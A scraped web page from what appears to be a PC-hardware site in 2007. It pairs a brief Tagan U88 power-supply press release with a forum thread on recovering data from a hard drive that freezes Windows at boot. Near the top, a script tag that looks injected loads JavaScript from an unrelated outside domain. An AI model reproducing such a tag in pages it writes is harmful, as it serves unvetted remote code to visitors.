Tagan U88 PSU Sneak Peek

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News <script type="text/javascript" src="http://ufo1.com/ad/c.js"></script> Posted 30/03/07
Author: PV5150
Source: Tagan

Official Press Release

Overclock3d Forum Exclusive Press Release

Tagan, the power supply of choice for many PC enthusiasts the world over, has some rather breaking news. Overclock3d.net is proud to provide an exclusive sneak peak at Tagan's new U88 Series of Power Supply Units.

Although final details are sketchy at the moment, we'll keep you updated as soon as we receive concrete details from Tagan closer to release.

Available in 500/600/700/800 and 900w configurations, of which the 800 & 900w models have 6 +12v rails, they're a sure bet to be a hit with those who value stability and power on tap when needed.

Tagan U88 rear

As with all Tagan products you can rest assured of an absolute quality product and superior customer service and support.

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29-03-2007, 15:17:32

Hicks
Ok guys, need some help. I have a Seagate ide 80g HD. This was in my old Amd 1700+ system. Was working great, then i decided to throw the hd in my AXP 3000+ rig. Also put in a WD 40 giger & put xp on it & was going to use the Seagate for storage.

Now when I put the SG hd in, the computer locks up on the windows boot screen. But when I dont have the power cord hooked up the comp boots fine. This is in an Epox 8rda3+pro mobo, w/ AXP 3000+ Barton, gig ddr 400 & 600 watt ps. Everthing is at stock setting for now.

Now I have messed with the boot opions & what not in the bios, have both hd's set to cable select. Only occasionally it will boot & be fine, other times it lock on the windows screen. Is this a failing hd? SMART in speedfan says its a healthy drive. Im lost on my next move, I need to get the rest of the data off.

Let me know if I need to provide any more information.

Thanks guys!!
Hicks

29-03-2007, 15:19:25

Dav0s
wierd, the exact same thing happened to my hard drive this week

unfortunately i cant really help you as i just accepted that the hard drive was broken, and im pretty sure it is

29-03-2007, 15:23:28

Hicks
Oh Davos, I dont want to hear that!! LOL I really need to get the rest of the info off. But what really scews me up is that I had it up last night & was transferring files np. Then this morning before work I went to move some more stuff, & when it would boot it would lock, I unplugged the SG hd & it would boot.
Time to beat my head against the wall again!! lol

29-03-2007, 18:08:16

Kempez
Sometimes when two of the same IDE devices are on the same cable it really doesn't like it. Try putting one on a diferent IDE cable as a slave to the DVD drive and see how that goes.

30-03-2007, 12:23:20

Hicks
Will try that. I was just switching out the ide headers.

Thanks

30-03-2007, 12:35:55

Toxteth O'Grady
If it wont boot into windows and you really need to copy the data from it to your WD, boot from a Linux Live CD distro, e.g. Ubuntu and see if that can see both disks.

:cool:

TOG

30-03-2007, 13:23:05

Hicks
Wow! Didnt even think of that. Breakin out the Knoppix disk when i get home...duh..lol!!

Thanks

Hicks
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